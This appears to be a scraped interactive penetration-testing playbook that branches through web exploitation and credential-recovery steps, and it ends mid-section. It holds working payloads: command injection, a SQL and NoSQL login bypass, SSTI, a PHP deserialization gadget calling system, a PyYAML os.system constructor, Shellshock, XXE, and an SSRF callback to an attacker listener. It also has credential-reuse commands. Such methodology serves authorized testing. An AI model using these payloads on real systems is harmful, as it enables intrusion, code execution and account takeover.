Still check: Replay the real request with a benign id/whoami marker and a normal control. Require attributable command output, or repeat bounded timing/control tests for a blind sink. Reflected text or one slow response is not execution.

Illustrative output
Normal function: network diagnostic
Request parameter: host=NORMAL_VALUE
Response includes utility-style output
Validate prerequisites and compare methods

Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

curl -skG --data-urlencode 'PARAM=VALUE;id' http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: Only the injected request yields the intended command-derived proof: select command injection.

Ruled out here: The input is passed as a fixed safe argument and metacharacters remain literal: reject that separator/context route.

Unresolved: A generic error or isolated delay could be application/load behavior; run stable controls before deciding.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Establish SQL query influence and DBMS contextNot inspectedDatabase errors or controlled true/false response differences

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
curl -skG --data-urlencode "PARAM=NORMAL_VALUE'" http://TARGET:PORT/PATH

Read the result

A database-looking error ties the input to a possible query parser; it is a hypothesis until controlled predicates affect query behavior.

Still check: Identify quote/query context and repeat true/false comparisons; establish the DBMS before DB-specific payloads.

Illustrative output
Normal request: expected rows
Changed request: SQL syntax error near INPUT
Validate prerequisites and compare methods

Input reaches a SQL query; a valid request and stable response baseline exist

curl -skG --data-urlencode "PARAM=VALUE'" http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: A compatible true/false pair reproducibly controls the query result: choose a manual SQL method.

Ruled out here: The error is a generic proxy/application response unrelated to SQL controls: reject this query-influence inference.

Unresolved: An unstable page or expired session makes differences uninterpretable; restore a valid baseline.

Show connections

These are conditional possibilities. Check the named condition before moving.

Test a SQL-backed authentication bypass — A login/query path has confirmed compatible SQL influence
Requires: The injected condition changes the authentication query and the application accepts the resulting account/session

Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data

Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

Test a SQL-backed authentication bypassNot inspectedA login/query path has confirmed compatible SQL influence

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -i --data-urlencode 'username=USER' --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login

Read the result

The authentication decision may depend on the injectable query result, creating a bypass candidate.

Still check: Verify query shape and post-query checks, then independently confirm the resulting session identity/protected action.

Illustrative output
Invalid control: login rejected
Mapped handler: username/password query returns a user row
Validate prerequisites and compare methods

The injected condition changes the authentication query and the application accepts the resulting account/session

curl -sk -i -c cookies.txt --data-urlencode "username=USER' OR '1'='1'-- -" --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login
Open numbered procedure and alternatives →

What did you find?

Enabled: A controlled SQL condition creates a real authenticated session with the intended action: select the bypass route.

Ruled out here: The application separately verifies the password after query selection: reject that bypass while retaining other SQL primitives.

Unresolved: A redirect or cookie without protected access leaves authentication success unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data

Extract data through UNION and visible SQL resultsNot inspectedAn injectable SELECT renders query results

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH

Read the result

A predictable shape boundary in a rendered SELECT suggests a UNION channel, subject to column types and reflection.

Still check: Confirm column count/types and a query-generated visible marker before extracting selected metadata.

Illustrative output
Compatible ordering: normal result
Out-of-range ordering: column-position error
Validate prerequisites and compare methods

Compatible column count/types, a reflected result position and rights to the requested data

curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: A compatible marker appears from a UNION result column: choose visible manual extraction.

Ruled out here: The injection is in a non-SELECT context without a compatible result channel: reject UNION in this request.

Unresolved: No marker can mean type/shape error or an unrendered column; distinguish these before switching techniques.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

Infer SQL data through boolean or time-based differencesNot inspectedQuery influence exists but rows are not rendered

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

Read the result

A repeatable predicate-dependent difference provides an inference channel even without visible rows.

Still check: Validate controls using a known predicate and separate caching, network load and backend delay.

Illustrative output
Repeated baseline: short, stable responses
Predicate TRUE: marker present
Predicate FALSE: marker absent
Validate prerequisites and compare methods

A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: Known predicates classify consistently and unknown predicates use the same channel: select blind inference.

Ruled out here: Differences track session/rate-limit noise rather than predicate truth: reject that signal.

Unresolved: One slow request or random body variation is insufficient; repeat controls or choose another primitive.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Conditional: validate an out-of-band SQL request channel — SQL execution is plausible but in-band output is unavailable
Requires: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver

Convert database rights into a file or operating-system effectNot inspectedConfirmed SQL control plus database file, execution or impersonation privileges

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');

Read the result

Database administration is a useful enabling clue, but it is not an observed OS shell or a domain privilege level.

Still check: Match the DBMS-specific facility, configuration, OS permission and consumer; verify a minimal actual OS effect.

Illustrative output
SYSTEM_USER: DATABASE_CONTEXT
IS_SRVROLEMEMBER: 1
OS execution identity: not yet observed
Validate prerequisites and compare methods

DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');
Open numbered procedure and alternatives →

What did you find?

Enabled: Required role/facility and service-identity effect are confirmed: select the supported database-to-OS method.

Ruled out here: The required file/command privilege is absent: discard that OS transition while retaining data access.

Unresolved: Unknown facility state or OS identity needs a focused check before choosing payloads.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Cross an object-ownership boundaryNot inspectedA request selects an object by ID/path and two authorized ownership contexts are available

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID

Read the result

A private object owned by another controlled account is returned to the lower-context requester.

Still check: Confirm intended sharing rules, account isolation and actual object content/change with valid controls.

Illustrative output
Request identity: USER_A
Object metadata: owner=USER_B
Response: private object bytes
Validate prerequisites and compare methods

The server accepts a lower-privilege identity's request for an object it should not access

curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID
Open numbered procedure and alternatives →

What did you find?

Enabled: The action crosses a real ownership boundary: use the demonstrated read/write primitive.

Ruled out here: The object is intentionally public/shared: reject unauthorized-access inference from its ID alone.

Unresolved: Unknown ownership or identical generic pages leave the access claim unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Cross role, function or session authorization boundariesNot inspectedAdministrative actions/routes or request methods visible from a lower role

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH

Read the result

A visible administrative route is a lead; only a server-side protected effect establishes the missing role check.

Still check: Replay a valid authorized action under the lower context and independently inspect its permitted effect.

Illustrative output
Lower-role request: protected management form visible
Protected action result: not yet tested
Validate prerequisites and compare methods

The lower-role identity can invoke a protected server-side action without its required authorization

curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: The lower context performs the protected action: select the function/role authorization method.

Ruled out here: Only the form is visible and every protected action is correctly denied: reject action-level compromise.

Unresolved: CSRF/session failure prevents assessing authorization; repair the normal request first.

Show connections

These are conditional possibilities. Check the named condition before moving.

Modify a protected property through excessive writable fields — API objects expose role, ownership or security-sensitive properties
Requires: The server binds an untrusted property to a persistent security-relevant field without checking permission

Use WordPress component evidence and authorized administration features — WordPress paths/components or an accepted application administrator credential
Requires: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Modify a protected property through excessive writable fieldsNot inspectedAPI objects expose role, ownership or security-sensitive properties

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH

Read the result

Returned owner/role fields identify properties to investigate; they are not evidence that the server binds them on update.

Still check: Check accepted writable fields, independent persistence and a resulting permission change.

Illustrative output
{"displayName":"VALUE","ownerId":"USER_ID","role":"user"}
Validate prerequisites and compare methods

The server binds an untrusted property to a persistent security-relevant field without checking permission

curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: A lower user changes the protected property and gains the verified action: select mass assignment.

Ruled out here: The sensitive field is ignored or authorization state remains unchanged: reject that property route.

Unresolved: The response merely echoes submitted JSON: reread state before drawing a conclusion.

Show connections

These are conditional possibilities. Check the named condition before moving.

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Use WordPress component evidence and authorized administration features — WordPress paths/components or an accepted application administrator credential
Requires: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Execute browser code and validate a useful same-origin actionNot inspectedUntrusted input reaches an executable HTML/JavaScript context

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH

Read the result

The output context and escaping determine whether browser execution is plausible; the second form is escaped text.

Still check: Verify the actual browser sink/execution, victim origin/role, required interaction and useful authorized same-origin action.

Illustrative output
Rendered context: <div>UNIQUE_MARKER</div>
Alternate response: &lt;script&gt;...&lt;/script&gt;
Validate prerequisites and compare methods

Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state

curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: Browser execution and the specific privileged action are independently confirmed: choose the appropriate XSS chain.

Ruled out here: The value remains inert/escaped in the relevant sink: reject that payload/context.

Unresolved: Source reflection without DOM execution evidence leaves the browser effect unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Use WordPress component evidence and authorized administration featuresNot inspectedWordPress paths/components or an accepted application administrator credential

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -i http://TARGET:PORT/wp-login.php

Read the result

Product/component and role clues guide two different paths: exact component exploit matching or a permitted administrative feature.

Still check: Verify build/configuration for a CVE, or actual editor/plugin/file rights plus executable handling for a feature chain.

Illustrative output
Observed paths: /wp-login.php, /wp-content/plugins/COMPONENT/
Authenticated dashboard: USER_ROLE
Validate prerequisites and compare methods

Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

curl -sk -i http://TARGET:PORT/wp-login.php
Open numbered procedure and alternatives →

What did you find?

Enabled: The precise vulnerable feature or permitted file-consumer route is established: select that mechanism.

Ruled out here: The account lacks the relevant capability and files are read-only: discard the assumed dashboard-to-shell route.

Unresolved: A product path without exact version/feature evidence is insufficient for a public exploit.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use server-side requests to inspect reachable internal behaviorNot inspectedURL import, preview, webhook or fetch behavior

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -skG --data-urlencode 'url=http://LHOST:PORT/FETCH_CANARY' http://TARGET:PORT/FETCH_PATH

Read the result

A correlated receiver event supports server-side fetching; it does not establish internal access or response-readable SSRF.

Still check: Separate client-side fetches, server source, destination/protocol restrictions and response visibility.

Illustrative output
Controlled receiver: GET /FETCH_CANARY
Application response: fetched status/preview
Validate prerequisites and compare methods

The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

curl -skG --data-urlencode 'url=http://LHOST:PORT/SSRF_CANARY' http://TARGET:PORT/FETCH_PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: A permitted controlled internal request and its bounded result are confirmed: use that specific server-request primitive.

Ruled out here: The browser fetches directly and the server never requests it: reject server-side request inference.

Unresolved: No receiver event can mean URL validation, DNS or egress; identify the first failed boundary.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Validate RDP, WinRM, VNC and Telnet access contexts — An exposed remote-access application and compatible known credentials
Requires: Enabled destination service, matching authentication and protocol-specific logon/session rights

Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

Prove server-side template evaluation and identify its engineNot inspectedControlled input appears in a server-rendered template, preview, email or report

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

Read the result

A repeatable computed result supports evaluation in that syntax but does not identify the engine or command capability.

Still check: Correlate error/source/framework clues and test a discriminating engine expression before selecting objects.

Illustrative output
Literal control: 7*7
Expression response: 49
Validate prerequisites and compare methods

The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function

curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: One engine family and its exposed primitive are confirmed: choose the matching bounded method.

Ruled out here: All candidate syntax remains literal in the actual rendered sink: reject SSTI there.

Unresolved: A syntax error alone leaves parser identity and exploitability unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Use an XML parser's external-entity behavior for bounded file readNot inspectedA working XML request reaches a server-side parser that accepts a controlled document or field

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH

Read the result

The server parser resolved the entity and read the selected file under its process identity.

Still check: Repeat with a benign control and preserve the exact parser/content-type context.

Illustrative output
Response field: recognizable local system-file bytes
Validate prerequisites and compare methods

External entity or XInclude processing is enabled and the parser identity can read the selected file

curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: Recognizable content or a uniquely correlated parser event appears: use the bounded file/network primitive.

Ruled out here: The parser rejects DTDs/entities: reject that entity path in this configuration.

Unresolved: Echoed XML or a generic parser error does not establish entity resolution.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Use server-side requests to inspect reachable internal behavior — URL import, preview, webhook or fetch behavior
Requires: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

Test structured NoSQL operator injection with identity controlsNot inspectedA login or search accepts JSON/nested form properties and evidence suggests an operator-based document query

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

Read the result

A structured operator changed the query and produced an authenticated state for the named identity.

Still check: Verify protected access and identity; ensure the framework parsed an object rather than a string.

Illustrative output
Protected profile after request: USER
Validate prerequisites and compare methods

The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type

curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
Open numbered procedure and alternatives →

What did you find?

Enabled: The operator object alone yields the intended verified transition: select the NoSQL method.

Ruled out here: Schema/type validation rejects objects or the password is compared outside the query: reject that route.

Unresolved: A 200 response, cookie or changed error without protected access remains inconclusive.

Show connections

These are conditional possibilities. Check the named condition before moving.

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Match PHP deserialization gadgets to installed dependenciesNot inspectedSource or request evidence shows controlled serialized PHP data reaches unsafe unserialize

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

phpggc -l
phpggc -i Monolog/RCE1

Read the result

The sink and loaded class family supply a gadget-chain candidate; generation alone is not execution.

Still check: Match exact version/vector, preserve serialized lengths/encoding and verify one benign effect.

Illustrative output
Source sink: unserialize(INPUT)
Installed dependency: compatible Monolog release
Validate prerequisites and compare methods

Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes

phpggc -l
phpggc -i Monolog/RCE1
phpggc -b Monolog/RCE1 system id > payload.b64
Open numbered procedure and alternatives →

What did you find?

Enabled: A compatible chain causes the intended effect: select that dependency-specific route.

Ruled out here: Required classes are absent or allowed-class restrictions apply: reject that chain.

Unresolved: Unknown decoding or transport corruption must be resolved before interpreting a failed payload.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Validate unsafe YAML object constructionNot inspectedSource or errors identify server-side Python YAML loading of controlled content

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

!!python/object/apply:os.system ["id"]

Read the result

The application constructed the selected Python object under an unsafe loader.

Still check: Confirm loader/version and an attributable effect in the real import/request path.

Illustrative output
Loader evidence: unsafe loader
Effect: command-specific identity output
Validate prerequisites and compare methods

The application uses an unsafe PyYAML loader that permits the selected Python object constructor

!!python/object/apply:os.system ["id"]
Open numbered procedure and alternatives →

What did you find?

Enabled: Unsafe construction is confirmed: use only the required bounded effect.

Ruled out here: ConstructorError under safe/restricted loading rejects this constructor route.

Unresolved: A .yml extension without loader evidence leaves the condition unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Test Shellshock only through a confirmed CGI-to-Bash chainNot inspectedA real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT

Read the result

Command-derived identity output supports Shellshock execution under the CGI process.

Still check: Separate command output from reflected header text and record the exact script/Bash context.

Illustrative output
CGI response: uid=SERVICE_UID(...) gid=...
Validate prerequisites and compare methods

HTTP-derived environment data reaches an affected Bash process and the selected command is available

curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT
Open numbered procedure and alternatives →

What did you find?

Enabled: The bounded command effect repeats only with the crafted environment function: select the route.

Ruled out here: Patched Bash or a non-Bash CGI path produces no command effect: reject that chain.

Unresolved: A generic 500 or reflected payload leaves component behavior unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Conditional: validate an out-of-band SQL request channelNot inspectedSQL execution is plausible but in-band output is unavailable

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -D - --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

Read the result

Lack of an in-band channel motivates investigation but does not prove an outbound channel exists.

Still check: Confirm the exact function, database/OS rights, allowed egress and a uniquely correlated controlled receiver event.

Illustrative output
Saved query context: DBMS identified
Response: no rendered rows; unstable timing
Outbound database capability: unknown
Validate prerequisites and compare methods

A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver

ss -lnt
ip route get TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The query generates only the expected controlled event: select the bounded outbound channel.

Ruled out here: The required function or outbound permission is unavailable: discard this OOB mechanism.

Unresolved: No callback leaves query execution and egress unresolved; use another stable channel if available.

Show connections

These are conditional possibilities. Check the named condition before moving.

Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Recover and use authentication material

Classify the artifact and its identity contextNot inspectedA secret-like value, key file, stored hash, challenge response or ticket

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

file FILE
head -c 160 FILE

Read the result

Headers and producing context distinguish a private key, challenge response and stored NT verifier.

Still check: Record the exact source, user/domain and complete format; identify compatible recovery/authentication operations.

Illustrative output
Possible structures:
-----BEGIN OPENSSH PRIVATE KEY-----
USER::DOMAIN:CHALLENGE:RESPONSE:BLOB
USER:RID:LM_HASH:NT_HASH:::
Validate prerequisites and compare methods

Artifact provenance and format; possible local/domain/application identity and compatible protocol

file FILE
head -c 160 FILE
Open numbered procedure and alternatives →

What did you find?

Enabled: Source and format agree on the type: route it to the matching recovery/use method.

Ruled out here: The value is an application identifier rather than an authentication artifact: reject the credential hypothesis.

Unresolved: A bare hexadecimal string without provenance does not identify its algorithm; investigate the producing application.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Classify tickets and use a compatible cache — A ccache/kirbi file or an existing ticket cache
Requires: Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route

Recover a protected KeePass database password — A readable KeePass database and possible associated key file
Requires: Complete database, compatible converter, and every required factor; a feasible password candidate strategy

Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

Recover Linux account passwords from matched records — Readable password verifiers and account metadata
Requires: Correct passwd/shadow pairing or known hash format; account identity and a feasible recovery strategy

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Recover a password from a captured NTLM response — A complete challenge-response record
Requires: Correct challenge/response formatting and feasible candidates; acquisition method must fit the allowed context

Recover a password from cached domain logon verifiers — A DCC2/MSCache record from matched SECURITY/SYSTEM material
Requires: Correct username/salt/iteration context and feasible offline candidates

Validate known passwords and context-specific reuseNot inspectedA password tied to a plausible user and service

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

Read the result

Accepted authentication proves one service/account pairing; it does not establish shares, administration, RDP or WinRM.

Still check: Qualify local/domain/application identity explicitly, test a compatible reachable service and record the accepted identity. Then test the specific share/logon/execution right; successful authentication is not administrative authorization.

Illustrative output
SMB TARGET [+] DOMAIN\USER: accepted
Administrative execution: not yet demonstrated
Validate prerequisites and compare methods

Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
ssh -p PORT USER@TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended service operation succeeds under the recorded identity: use that access and re-enumerate.

Ruled out here: The secret is valid only for the application and not the proposed OS account: reject that reuse pairing.

Unresolved: A generic logon failure may hide account/domain/state mismatch; classify it before repeating attempts.

Show connections

These are conditional possibilities. Check the named condition before moving.

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Recover passwords with feasible dictionary, rule and mask attacksNot inspectedA supported stored verifier or converted protected artifact

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

hashcat --example-hashes
john --list=formats

Read the result

